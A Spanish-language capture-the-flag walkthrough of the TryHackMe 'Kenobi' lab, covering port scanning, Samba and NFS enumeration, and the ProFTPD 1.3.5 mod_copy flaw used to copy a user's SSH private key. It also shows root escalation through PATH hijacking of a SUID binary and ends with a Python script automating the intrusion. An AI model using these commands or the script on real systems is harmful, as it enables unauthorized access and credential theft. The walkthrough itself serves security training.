TryHackMe – Kenobi walkthrough

Hola de nuevo, la siguiente máquina que vamos a resolver es Kenobi. Seguimos en el offensive path de TryHackMe. En la descripción de la máquina nos adelanta que estaremos enumerando los archivos compartidos de Samba, seguidamente explotaremos una versión vulnerable de protfpd para finalmente escalar privilegios manipulando nuestra variable PATH.

Reconocimiento de puertos abiertos

Vamos a hacer una búsqueda de todos los puertos TCP con estado open, para luego, únicamente lanzar los scripts de enumeración a esos puertos en concreto.

nmap -p- --open --min-rate 5000 10.10.60.168 -n -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-21 09:25 CET
Nmap scan report for 10.10.60.168
Host is up (0.048s latency).
Not shown: 65330 closed tcp ports (conn-refused), 194 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
32907/tcp open  unknown
33019/tcp open  unknown
50693/tcp open  unknown
55853/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds

Tenemos la lista de puertos abiertos, ahora toca enumerar qué servicios y qué versiones corren en ellos.

nmap -p21,22,80,111,139,445,2049,32907,33019,50693,55853 -sCV 10.10.60.168 -oN kenobi.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-21 09:28 CET
Nmap scan report for 10.10.60.168
Host is up (0.043s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      38808/udp   mountd
|   100005  1,2,3      47297/udp6  mountd
|   100005  1,2,3      54917/tcp6  mountd
|   100005  1,2,3      55853/tcp   mountd
|   100021  1,3,4      33019/tcp   nlockmgr
|   100021  1,3,4      41365/tcp6  nlockmgr
|   100021  1,3,4      44169/udp6  nlockmgr
|   100021  1,3,4      56174/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
32907/tcp open  mountd      1-3 (RPC #100005)
33019/tcp open  nlockmgr    1-4 (RPC #100021)
50693/tcp open  mountd      1-3 (RPC #100005)
55853/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2021-11-21T08:28:48
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2021-11-21T02:28:48-06:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m58s, deviation: 3h27m50s, median: -1s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds

Podemos ver que nos reporta bastante información, primero de todo vemos que es una máquina linux. También nos reporta que ftp, http, samba y nfs están corriendo.

Búsqueda de exploits conocidos

Si vamos por pasos, deberíamos ir mirando cada servicio qué nos ofrece. Vamos a buscar la versión de ProFTPD 1.3.5 con searchsploit.

searchsploit ProFTPD 1.3.5

Hay un exploit para Metasploit, dos scripts en python y un archivo de texto. Nosotros vamos a usar el archivo de texto.

searchsploit -x linux/remote/36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

Nos indica que hay un fallo crítico haciendo uso del modulo mod_copy de proftpd, este nos permitiría hacer uso de los comandos SITE CPFR/SITECPTO para copiar archivos siendo usuarios no autenticados. Vamos a verlo.

Testeando la vulnerabildad

Primero nos conectamos al ftp haciendo uso de netcat. Luego, vamos a hacer una pequeña prueba para comprobar que es vulnerable. Sabemos que /etc/passwd existe y que el directorio /tmp existe y por norma general no hay problema de permisos para copiar archivos allí. Vamos a probar.

nc 10.10.60.168 21

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.60.168]
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /tmp/passwd
250 Copy successful

Perfecto, funciona. Una vez conectado, recibimos un mensaje de bienvenida, le indicamos el CPFR para decirle qué archivo queremos copiar y luego con CPTO dónde vamos a copiar dicho archivo. Nos devuelve un mensaje de copia exitosa.

En este punto, tendríamos que hacer varias pruebas para ver como aprovecharnos de esta vulnerabilidad, recordamos que tenemos un http en el puerto 80, pero no es posible copiar en el directorio web, así que no alargaremos la entrada con más pruebas por el momento.

Enumerando samba

Siguiente paso, enumerar samba.

smbclient -L 10.10.60.168 -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Nos muestra los diferentes shares, vamos a intentar entrar en anonymous.

smbclient //10.10.60.168/anonymous -N

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 12:49:09 2019
  ..                                  D        0  Wed Sep  4 12:56:07 2019
  log.txt                             N    12237  Wed Sep  4 12:49:09 2019

                9204224 blocks of size 1024. 6877096 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (66,8 KiloBytes/sec) (average 66,8 KiloBytes/sec)
smb: \> 

Nos deja conectarnos sin contraseña, listamos el contenido, vemos un archivo log.txt y lo descargamos a nuestra máquina con el comando get. Vamos a echarle un vistazo.

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

Han generado un par de claves SSH para el usuario kenobi y nos indica dónde están almacenadas, interesante. Con la vulnerabilidad de proftpd podríamos copiar la clave y traérnosla a algún lugar dónde podamos acceder.

Montando el directorio var

Recordemos que también había un NFS corriendo, vamos a enumerarlo.

showmount -e 10.10.60.168

Export list for 10.10.60.168:
/var *

Se está compartiendo el directorio entero de /var. Vamos a montarlo en nuestra máquina.

sudo mount -t nfs 10.10.60.168:/var /mnt/kenobi/

Obteniendo acceso a la máquina

Después de montar el directorio var, comprobamos que tenemos acceso a todo el directorio. Bien, sabiendo que tenemos una clave SSH del usuario kenobi en su home, que tenemos la posibildad de copiar archivos de un lugar a otro y que tenemos acceso al directorio /var, vamos a traernos dicha clave SSH al directorio /var/tmp.

Explotamos la vulnerabilidad de proftpd para traernos la id_rsa de kenobi a /var/tmp de la máquina y tenerla nosotros en nuestra montura. Toca darle permisos para poder hacer uso de esa clave y conectarnos como kenobi.

Escalada de privilegios

Y aquí estamos, ya estamos dentro de la máquina como usuario kenobi. Enumerando los SUID, nos llama la atención uno que no es por defecto y que se llama menu.

find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

Vamos a probar la funcionalidad de dicho programa.

Nos ofrece tres opciones en las que ejecuta tres comandos distintos. Lo podemos analizar con el comando strings.

El ejecutable hace referencia a comandos pero hay un error y es que no indica el path absoluto, al no indicarlo nosotros podemos abusar esa vulnerablidad manipulando el PATH.

Primero, creamos nuestro archivo que queremos ejecutar como root con el nombre ifconfig, en este caso vamos a lanzar una /bin/bash. Lo almacenamos en el directorio /tmp y le damos permisos de ejecución.

Ahora manipulamos nuestra variable PATH para que cuando ejecutemos /usr/bin/menu y le indiquemos la opción 3 que ejecutará ifconfig, apunte al directorio /tmp como primera opción y se ejecute nuestra /bin/bash.

PATH ya apunta a /tmp como primera opción. Vamos a ejecutar /usr/bin/menu y le indicamos la opción 3.

Perfecto! Somos root!! Es muy importante indicar las rutas absolutas para evitar que se pueda manipular el PATH y con ello el correcto funcionamiento del programa.

Extra

A modo de práctica para mí, he creado un script en python para automatizar la intrusión a la máquina como usuario Kenobi.

#!/usr/bin/python3
import socket,os

def main():

        ip = '10.10.60.168'
        port= 21
        path= '/mnt/kenobi'

        #Creating directory and mounting shares into it
        os.system('sudo mkdir {}'.format(path))
        os.system('sudo mount -t nfs {}:/var {}'.format(ip,path))

        #Connecting to ftp
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,port))
        print(s.recv(1024).decode())

        #Exploting vulnerability and copying id_rsa
        s.send(b'site cpfr /home/kenobi/.ssh/id_rsa\r\n')
        print(s.recv(1024).decode())
        #Exploting vulnerability and pasting id_rsa
        s.send(b'site cpto /var/tmp/id_rsa\r\n')
        print(s.recv(1024).decode())
        s.close()

        #Using id_rsa to connect via SSH 
        os.system('cp /mnt/kenobi/tmp/id_rsa .;chmod 700 id_rsa')
        os.system('ssh -i id_rsa kenobi@{}'.format(ip))
if __name__ == "__main__":
        main()

Óscar Montoya.